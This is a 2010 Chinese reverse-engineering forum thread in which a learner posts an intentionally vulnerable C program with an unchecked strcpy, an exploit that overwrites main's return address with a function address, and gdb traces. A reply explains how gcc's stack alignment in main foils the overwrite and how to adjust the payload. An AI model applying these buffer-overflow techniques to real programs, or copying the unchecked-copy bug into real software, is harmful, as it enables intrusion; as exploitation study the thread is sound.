首页
社区
课程
招聘
[求助]exploit入门问题
发表于: 2010-7-2 17:19 4513

[求助]exploit入门问题

2010-7-2 17:19
4513
linux下面试了下做exploit,但是没成功。

被攻击程序 victim:

#include<stdio.h> 

void fun() {
        printf ("hacked!!!\n");
}

int main(int argc,char **argv){ 
        char buf[10]; 
        strcpy(buf,argv[1]); 
        printf("fun: 0x%08X\n", fun);
        return 0; 
} 


攻击程序:
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 
#include <unistd.h>

// victim的fun函数地址
const char addr[] = {0x4, 0x8, 0x24, 0x84};

int main(int argc,char **argv)
{ 
        int i = 0; 
        char buf[500]; 

        for (i = 0; i < 100; i++)
        {  
                memcpy(buf + i * 4, addr, 4);
        }  

        execl("./victim","victim", buf, NULL); 
        return 0; 
} 


打算用victim的fun地址覆盖掉main的返回地址,实际上也真的覆盖了
Breakpoint 1, main (argc=2, argv=0xbfd3dd24) at ./s1.c:9
9               strcpy(buf,argv[1]); 
(gdb) n
10              printf("fun: 0x%08X\n", fun);
(gdb) x/10x $ebp+4
0xbfce743c:     0x08048424      0x08048424      0x08048424      0x08048424
0xbfce744c:     0x08048424      0x08048424      0x08048424      0x08048424
0xbfce745c:     0x08048424      0x08048424


但是运行到末尾的时候

(gdb) disass main
Dump of assembler code for function main:
0x08048438 <main+0>:    lea    0x4(%esp),%ecx
0x0804843c <main+4>:    and    $0xfffffff0,%esp
0x0804843f <main+7>:    pushl  -0x4(%ecx)
0x08048442 <main+10>:   push   %ebp
0x08048443 <main+11>:   mov    %esp,%ebp
0x08048445 <main+13>:   push   %ecx
0x08048446 <main+14>:   sub    $0x24,%esp
0x08048449 <main+17>:   mov    0x4(%ecx),%eax
0x0804844c <main+20>:   add    $0x4,%eax
0x0804844f <main+23>:   mov    (%eax),%eax
0x08048451 <main+25>:   mov    %eax,0x4(%esp)
0x08048455 <main+29>:   lea    -0xe(%ebp),%eax
0x08048458 <main+32>:   mov    %eax,(%esp)
0x0804845b <main+35>:   call   0x8048348 <strcpy@plt>
0x08048460 <main+40>:   movl   $0x8048424,0x4(%esp)
0x08048468 <main+48>:   movl   $0x8048572,(%esp)
0x0804846f <main+55>:   call   0x8048358 <printf@plt>
0x08048474 <main+60>:   mov    $0x0,%eax
0x08048479 <main+65>:   add    $0x24,%esp
0x0804847c <main+68>:   pop    %ecx
0x0804847d <main+69>:   pop    %ebp
0x0804847e <main+70>:   lea    -0x4(%ecx),%esp
0x08048481 <main+73>:   ret    

(gdb) ni    
0x08048481      12      } 
(gdb) i reg
eax            0x0      0
ecx            0x8048424        134513700
edx            0x0      0
ebx            0xb7fbaff4       -1208242188
esp            0x8048420        0x8048420
ebp            0x8048424        0x8048424
esi            0xb7ff3c80       -1208009600
edi            0x0      0
eip            0x8048481        0x8048481 <main+73>
eflags         0x282    [ SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/5x $ebp  
0x8048424 <fun>:        0x83e58955      0x04c708ec      0x04856824      0xff32e808
0x8048434 <fun+16>:     0xc3c9ffff


这时候要ret了,ebp已经是fun的地址了,但是再走一步:

(gdb) ni         
0x90c3c9d0 in ?? ()



为什么会跳到这个奇怪的地址?
不是覆盖了返回地址,就应该进入fun函数了吗?

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 259
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
是不是我该发到crackme版?版主能帮我转一下?
2010-7-2 21:20
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
3
0x08048438 <main+0>:    lea    0x4(%esp),%ecx;ecx=原始esp+4
0x0804843c <main+4>:    and    $0xfffffff0,%esp
0x0804843f <main+7>:    pushl  -0x4(%ecx)
0x08048442 <main+10>:   push   %ebp
0x08048443 <main+11>:   mov    %esp,%ebp
0x08048445 <main+13>:   push   %ecx;保存ecx
......
0x0804847c <main+68>:   pop    %ecx;恢复,堆栈被覆盖之后,到这里造成ecx=0x8048424
0x0804847d <main+69>:   pop    %ebp;ebp=0x8048424
0x0804847e <main+70>:   lea    -0x4(%ecx),%esp;关键,esp=ecx-4=0x8048420
0x08048481 <main+73>:   ret    ;esp指针错了,于是ret的时候就出错了

注意上面我高亮的那几行。这里刚刚进入main函数的时候,将esp+4的值保存在ecx,后面push ecx,这是为了在最后能够使用lea    -0x4(%ecx),%esp来回复原始的esp,然后再ret。
因此strcpy覆盖了堆栈后,造成后面pop ecx指令得到ecx=0x8048424,这样在ret之前lea    -0x4(%ecx),%esp使得esp变为了0x8048420,这样esp指针不对了,ret时的返回地址自然也就不对了。
因此要正确实现跳到fun,对超长缓冲区的内容操作要更细致一点,专门对pop ecx时得到的值进行调控,使ret之前esp还是指向堆栈里且[esp]==0x8048424,这样ret之后就跳进fun。
2010-7-3 20:53
0
雪    币: 259
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
谢谢,明白了。
是不是在gcc里面main函数被特殊处理了呢,我看其他函数都是标准的

pushl %ebp
movl %esp, %ebp

开头。
之所以main跟其它函数不一样,是不是因为下面这句:

0x0804843c <main+4>:    and    $0xfffffff0,%esp

要先砍齐esp的起始地址为一个整16倍数,然后为了恢复最原始的esp于是用ecx保存起来了?
2010-7-3 21:27
0
游客
登录 | 注册 方可回帖
返回
//